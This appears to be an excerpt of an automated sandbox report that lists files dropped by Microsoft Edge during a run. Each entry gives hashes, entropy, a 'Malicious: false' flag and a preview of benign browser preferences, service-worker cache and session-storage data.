SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.230470405446557
Encrypted:	false
SSDEEP:	192:stetJ99QTryDigabatSuyplsR1aFvrE9ky/NRirU8EbV+FnRQwqLtU/PLYJ:stetPGKSu4lsR1CDcbGRQwhQ
MD5:	00B7B756CBA8F8B585B0244B88D4F34F
SHA1:	CEAB5554E2B4746A904DA087D485157FED9D3612
SHA-256:	C4795F560ABD232A1FAB5EEAE9F1B2223B0921C1754BF7DEEC1ED8FC1E08FDB7
SHA-512:	F07E777C60B1E605185544FCC49C7DCDD322AD65484F783A89145E334F325F40B3FB6CDBCF1ED19D73A7F2D556EB63F163A178DAF228CB8137A3EC12E71A617A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f57d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.230470405446557
Encrypted:	false
SSDEEP:	192:stetJ99QTryDigabatSuyplsR1aFvrE9ky/NRirU8EbV+FnRQwqLtU/PLYJ:stetPGKSu4lsR1CDcbGRQwhQ
MD5:	00B7B756CBA8F8B585B0244B88D4F34F
SHA1:	CEAB5554E2B4746A904DA087D485157FED9D3612
SHA-256:	C4795F560ABD232A1FAB5EEAE9F1B2223B0921C1754BF7DEEC1ED8FC1E08FDB7
SHA-512:	F07E777C60B1E605185544FCC49C7DCDD322AD65484F783A89145E334F325F40B3FB6CDBCF1ED19D73A7F2D556EB63F163A178DAF228CB8137A3EC12E71A617A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44206.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.230470405446557
Encrypted:	false
SSDEEP:	192:stetJ99QTryDigabatSuyplsR1aFvrE9ky/NRirU8EbV+FnRQwqLtU/PLYJ:stetPGKSu4lsR1CDcbGRQwhQ
MD5:	00B7B756CBA8F8B585B0244B88D4F34F
SHA1:	CEAB5554E2B4746A904DA087D485157FED9D3612
SHA-256:	C4795F560ABD232A1FAB5EEAE9F1B2223B0921C1754BF7DEEC1ED8FC1E08FDB7
SHA-512:	F07E777C60B1E605185544FCC49C7DCDD322AD65484F783A89145E334F325F40B3FB6CDBCF1ED19D73A7F2D556EB63F163A178DAF228CB8137A3EC12E71A617A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b736.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.230470405446557
Encrypted:	false
SSDEEP:	192:stetJ99QTryDigabatSuyplsR1aFvrE9ky/NRirU8EbV+FnRQwqLtU/PLYJ:stetPGKSu4lsR1CDcbGRQwhQ
MD5:	00B7B756CBA8F8B585B0244B88D4F34F
SHA1:	CEAB5554E2B4746A904DA087D485157FED9D3612
SHA-256:	C4795F560ABD232A1FAB5EEAE9F1B2223B0921C1754BF7DEEC1ED8FC1E08FDB7
SHA-512:	F07E777C60B1E605185544FCC49C7DCDD322AD65484F783A89145E334F325F40B3FB6CDBCF1ED19D73A7F2D556EB63F163A178DAF228CB8137A3EC12E71A617A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564546436467676
Encrypted:	false
SSDEEP:	768:zzWn6bWlYW5wzbf4YJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPST5CI3UEhrwXj1C5:zC6bgYWazbfFJu1jaDT5PhSz1CzJtZ
MD5:	CD0C7364DA7BB42D0F739420E23D8A13
SHA1:	AB5D88BB6301D228DA72650758C50786DA06CE06
SHA-256:	04BC5354DA713D802EA23A08D29DE29114E8194BD1A1E33EC9AF73510A0F06EA
SHA-512:	A770769C8A9CE8F3735091CEFE583B9B85F53E5070499086EB50B932C3C1091D00624394DC21491D294491D29442C80DE1F3033235AD00A02D16AF2F56CD81ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376308049722999","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376308049722999","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3fa6e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564546436467676
Encrypted:	false
SSDEEP:	768:zzWn6bWlYW5wzbf4YJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPST5CI3UEhrwXj1C5:zC6bgYWazbfFJu1jaDT5PhSz1CzJtZ
MD5:	CD0C7364DA7BB42D0F739420E23D8A13
SHA1:	AB5D88BB6301D228DA72650758C50786DA06CE06
SHA-256:	04BC5354DA713D802EA23A08D29DE29114E8194BD1A1E33EC9AF73510A0F06EA
SHA-512:	A770769C8A9CE8F3735091CEFE583B9B85F53E5070499086EB50B932C3C1091D00624394DC21491D294491D29442C80DE1F3033235AD00A02D16AF2F56CD81ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376308049722999","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376308049722999","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.838226332719329
Encrypted:	false
SSDEEP:	48:F2em3trdD1fBemXrd6NgtzvrdD4Be1rdvBeD:F1m3txD1MEx6NgtzvxDt1x8D
MD5:	F6871C1E20E8C720BBFB924198FD9C2C
SHA1:	1E11E7EBAB6A5A1B0D8C211705B1A9D8809A6DE9
SHA-256:	D60A7F90D0704CB9BC469D6C6570D461B0AC2A86E6DC4A99EEF89D135E96A4B2
SHA-512:	E4DECB7FF7BC6164012C42AEF68B148A420359379F7B6859C2375BBD0CF1CBE993B254FACB1BC1B99B4F8015E7CEB6C4590BC861F214DE153CB000E5E5E5716B
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.n.{m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.140481202423743
Encrypted:	false
SSDEEP:	6:HURW0s1N723oH+TcwtE/a252KLlVURWPe3+q2PN723oH+TcwtE/a2ZIFUv:kUaYeb8xL8/3+vVaYeb8J2FUv
MD5:	075F56BC6AE3A54A62052A4657F91512
SHA1:	6C3636DD4A24561EFFD0F7CB080777001DFBBBE0
SHA-256:	3C2C7927CEA574AD34957F65E0A3A3BDE1504A44AAFD967B4A336EEBB2DED42F
SHA-512:	238F3D1B80D1B8EF37EFB4479DB9BEF9512D0135CCE57BDE8153DA10101C2148CA0A219EE043EA0A42739FD70CE9B5C03020674A7639DFBAEEF6467C5A54CFC1
Malicious:	false
Preview:	2024/11/17-04:07:39.492 1cbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/17-04:07:39.505 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.579293884953935
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqxZl:d9LyxPXfOxr1lMe1nL/CL/TXEmilRDl
MD5:	49C6C8ABB7D1C92109A6E9787429D933
SHA1:	BFD28CD5C6DC2D171592E18FA5421C8A3D699B22
SHA-256:	EE8F57712510CF98DA4C843C95F58359AD8996466EAA8DB195C76566C912C02E
SHA-512:	36613958891307A6E39AAD835099596C07CE19C3995262C26828E26CBACA2097879C6AA42438E542CA6D65CE9A72A6806D7B967EB48DD2ED82EBB03D80F51B3C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.3864597881358
Encrypted:	false
SSDEEP:	3072:Ak6BMq18Gbfyw+RrG/qL/9tMM51Wq+iw0nzIwgLm:aywmGSL/XnKqxwAzIS
MD5:	466DB0C60D2DB659DF5C44287B2E36AA
SHA1:	37C30965ADE39EF5BEA3FE3D3B6DF3299F90058D
SHA-256:	D899F97AE966A755DA0BA782833A662E4AFBCAC9A30CD66356354BDD2687AB18
SHA-512:	B9AB4D8299797B930B166AAF6CEAE7DCF561BDF7EE4434A60A6FF23FBE97D32E6E5740506B06738AE36959B10B675B697C473894471F3D4287C6B8C587D6BCE9
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.."....yT.........,T.8..`,.....L`.....,T...`......L`......Rc^..6....exports...Rc..U.....module....Rc.9T.....define....Rb.F.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..T.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:/QteXTXl/lR/lxEwltsn+:YteXjCQOn+
MD5:	E417D63A32D8441E25B898187960546F
SHA1:	622943A490DAA575E46FB92F991A7698789C89DF
SHA-256:	115873521EC6E6E9E233A2FDACC61BA2DD418FB80E58C44434A81D30789A9A70
SHA-512:	D58E419D4F186D02C29BE0714829175A6C87B0D6873D216639AD6EE3CF6E98AE717231577E0F644F1824E4BC48D8FF237EB1FEBB9794057035B4C56AAE7EEF6E
Malicious:	false
Preview:	@....5..oy retne.........................X....,................g.Sj../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:/QteXTXl/lR/lxEwltsn+:YteXjCQOn+
MD5:	E417D63A32D8441E25B898187960546F
SHA1:	622943A490DAA575E46FB92F991A7698789C89DF
SHA-256:	115873521EC6E6E9E233A2FDACC61BA2DD418FB80E58C44434A81D30789A9A70
SHA-512:	D58E419D4F186D02C29BE0714829175A6C87B0D6873D216639AD6EE3CF6E98AE717231577E0F644F1824E4BC48D8FF237EB1FEBB9794057035B4C56AAE7EEF6E
Malicious:	false
Preview:	@....5..oy retne.........................X....,................g.Sj../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41c4e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:/QteXTXl/lR/lxEwltsn+:YteXjCQOn+
MD5:	E417D63A32D8441E25B898187960546F
SHA1:	622943A490DAA575E46FB92F991A7698789C89DF
SHA-256:	115873521EC6E6E9E233A2FDACC61BA2DD418FB80E58C44434A81D30789A9A70
SHA-512:	D58E419D4F186D02C29BE0714829175A6C87B0D6873D216639AD6EE3CF6E98AE717231577E0F644F1824E4BC48D8FF237EB1FEBB9794057035B4C56AAE7EEF6E
Malicious:	false
Preview:	@....5..oy retne.........................X....,................g.Sj../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5579
Entropy (8bit):	3.4242093148996813
Encrypted:	false
SSDEEP:	96:OTMGKLsn9VQfG2Nui/2wkOG0nnmep3Zptk9Xp+Pfi+ViCokmx5SLl9iSra17zVeZ:GMvRGcV2rUnxDk9Xp+CKiCD25SLl9iSJ
MD5:	24297965B0C262CB894F002B71E24945
SHA1:	F07E0A1ECB3DE5EEB290AD725DABEFAF0F78E992
SHA-256:	84BEE62D190BF42B8E580DF0503E4FCD71FC25E66804D8AE9D2196980DDE9439
SHA-512:	4A69E6DA4F64AF67EFE3D0F92CF1EED2C9FAA693F2753B51679F5F3133A378BAF66FFED2E2099F225C9A5AE2E548E9F256665A90A144464DF5236321484E6FE2
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............A.).b................next-map-id.1.Cnamespace-680745d0_1397_40b3_9421_74f2c42913c2-https://ntp.msn.com/.0...".................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.a.d.s.-.c.b.t.c.o.m.b.o.c.-.m.i.g.r.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.q.e.n.t.s.i.r.u.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.e.p.r.g.-.1.s.w.-.s.a.t.o.p.k.d.e.m.c.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.2.t.2.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.119332069677538
Encrypted:	false
SSDEEP:	6:HURhFN+q2PN723oH+TcwtrQMxIFUt8YURJAjZZmw+YURH3VkwON723oH+TcwtrQq:khOvVaYebCFUt8bJuZ/+bl5OaYebtJ
MD5:	F77F6FC8BF065995580D039E17A06F58
SHA1:	B46DCA0F067C9B8A622C49B7ADB61FC26195133A
SHA-256:	2469082278B90E7854340850BB1EE61D9BE5559B110903C6AA4EE977ED2AED9F
SHA-512:	EE2B92435F54D1FE811932C569648676701F0D6EBDF631FBEEC1323337D0A776C7BB81EEAF9400B51F850395FACC6B197D60BC08D2C3182EC8F6351908E7691C
Malicious:	false
Preview:	2024/11/17-04:07:30.822 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-04:07:30.825 1e68 Recovering log #3.2024/11/17-04:07:30.828 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.119332069677538
Encrypted:	false
SSDEEP:	6:HURhFN+q2PN723oH+TcwtrQMxIFUt8YURJAjZZmw+YURH3VkwON723oH+TcwtrQq:khOvVaYebCFUt8bJuZ/+bl5OaYebtJ
MD5:	F77F6FC8BF065995580D039E17A06F58
SHA1:	B46DCA0F067C9B8A622C49B7ADB61FC26195133A
SHA-256:	2469082278B90E7854340850BB1EE61D9BE5559B110903C6AA4EE977ED2AED9F
SHA-512:	EE2B92435F54D1FE811932C569648676701F0D6EBDF631FBEEC1323337D0A776C7BB81EEAF9400B51F850395FACC6B197D60BC08D2C3182EC8F6351908E7691C
Malicious:	false
Preview:	2024/11/17-04:07:30.822 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-04:07:30.825 1e68 Recovering log #3.2024/11/17-04:07:30.828 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376308052217501

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8356137488564315
